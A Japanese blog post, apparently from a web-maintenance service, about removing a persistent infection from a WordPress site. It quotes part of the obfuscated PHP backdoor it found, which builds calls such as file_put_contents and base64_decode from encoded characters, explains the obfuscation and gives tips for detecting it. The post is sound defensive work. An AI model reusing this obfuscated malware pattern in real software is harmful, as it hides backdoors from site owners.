どんな状態だったか
サイトのURLに接続すると、他のサイトにリダイレクトしてしまうという状態でした。なので、まずは、sftpで接続してドキュメントルートを確認すると、見慣れないディレクトリが複数ありました。なので、それらのディレクトリを削除しました。また、.htaccessを確認すると、リダイレクトするように書き換えられていました。こちらは、すぐに修正しました。また、iindex,phpも書き換えられていて、こちらも、本来の状態に戻しました。
この状態で、サイトは正常に表示されるようになりました。
しかし、翌日、sftp接続すると、.htaccessやindex.phpの書き換えは行われていなかったものの、前日と同じようなディレクトリが作られていました。
ということは、もしかすると、wp本体の書き換えが行われているかもしれないので、wp-adminディレクトリとwp-incloudsディレクトリ配下を一式差し替えました。
しかし、これでも一晩立つとまた、ディレクトリが作られていました。サイトの表示自体は問題ないのですが、どうやら、このディレクトリに外部からアクセスすることで、何らかのハッキングを行えるという仕組みのようでした。
実際、これらのディレクトリ内のファイルへの接続ログが残っていて、アタックの記録がしっかりありました。
つまり、wp-contentsディレクトリ配下のどこかにウィルスファイルが仕込まれているということです。具体的にはプラグイン、テーマファイル、アップロードファイルなどです。
まずは、使っていないプラグインやテーマファイルを削除しました。そして、使っているプラグインに関しては、すべて手動でダウンロードして差し替えました。また、使っているテーマファイルの中に関しては、隅から隅まで.php拡張子のファイルのタイムスタンプやユーザーに齟齬があるものを探し出し、ウイルスを見つけらた、除去しました。
タイムスタンプから推察すると、どうやら今の環境へ引っ越しして来る以前にウィルスは仕込まれていたようです。ftpアカウントかwordpressのアカウントをハッキングされて、仕込まれてしまったのだと思います。
どんなフィルだったのか。
具体的には以下のようなファイルでした。一部をご紹介します。
<?php /* bv*/function au_lafeghh(){ echo 11795;/* ayk */}
$gwkkchxiv =/* eyyqd */'gwkkchxiv'/* rtxri */^/* plyg */'';$saowpg/* vwlop */=/* _nyg */"\146" . $gwkkchxiv(659-554) . "l".$gwkkchxiv(101) . "_"."\x70" ./* n*/"u"."t"."_"."c"."o".$gwkkchxiv(110)/*iwqi*/. "t"."e"."\156" . "\x74" . "s";
$bfzca/* k_cal */= "b"."a".$gwkkchxiv(600-485) . $gwkkchxiv(152-51) . "\66"/* y */. "4".$gwkkchxiv(934-839) . "\x64" . "\145" . "\x63"/* iede*/. "o"."d".$gwkkchxiv(101);
$bnhhmwcwg =/*bl */"u"."n"."\x73" . "e"."\162" ./* py */"\x69" ./*mvevt*/"a"."\154"/*azrn*/./* s*/$gwkkchxiv(900-795)/* yva */. "\x7a" . "e";
$xngsmuxo/*jr */= "\x70"/* h */. "\x68" . "p"."v"."\145" . $gwkkchxiv(752-638) . "s"."\151" ./* krt */$gwkkchxiv(756-645)/* eh*/. $gwkkchxiv(1088-978);
$tqtfnbaj/* bo*/=/* o_nol */"u"."n".$gwkkchxiv(108) ./* pl_ */"\x69"/* z */./*t */"n"."k";
/*s */
function pbifdfls($_xsrani,/* yv*/$_cljihcmsl)
で、どんなことをしているのかを少し解析しました。
まず、コメントをいたるところに入れています。また、chrという文字列を排他的論理和で生成し、$gwkkchxivに格納しています。で、たとえは$gwkkchxiv(101)はch(101)、つまりは10進数の「101」=ASCIIで「e」となります。
また、”\x64″は16進数で表された「d」、”\145″は8進数で表された「e」というよう工夫をしていました。また、$gwkkchxiv(152-51)というように引き算も使っています。
これで、file_put_contents、unserialize、unlinkなどのファイル操作に必要な関数を作っているのです。
ちなみにfile_put_contentsと普通に書けばいいとのでは、と思われるかもしれませんが、このような工夫をすると、おそらくですが、ファイル内検索では見つけにくくなるためだと思います。
仕込まれていた場所
uploadsディレクトリ、themesディレクトリ、pluginディレクトリ、さらにはcacheディレクトリ内にも仕込まれていました。特に、themesディレクトリに関しては、非常に深くディレクトリが刻まれていて、膨大なファイル数があり、苦労しました。テーマ名を書くことはできませんが、他のお客様でも利用されているメジャーなものです。
見つけるポイントはcssやjsが格納されているディレクトリなのに、phpファイルがある。同じディレクトリ内と異なったタイムスタンプのphpファイルがある。というのがヒントです。また、プラグインの名前とは繋がらないようなファイル名のphpも怪しいのですべてチェックしました。
また、ユーザー名とグループ名が別々になっている場合ですと、これもヒントになります。例えばec2-iuser:apacheとすべてのwp関連のファイルを設定しておくと、ウイルスはapacheが仕込んでいるので、apache:apacheになっています。これだと探しやすいですので、可能ならそのような設定にしておくことをオススメします。
以上です。もしお困りでしたら、お問い合わせいただけば除去作業を行います。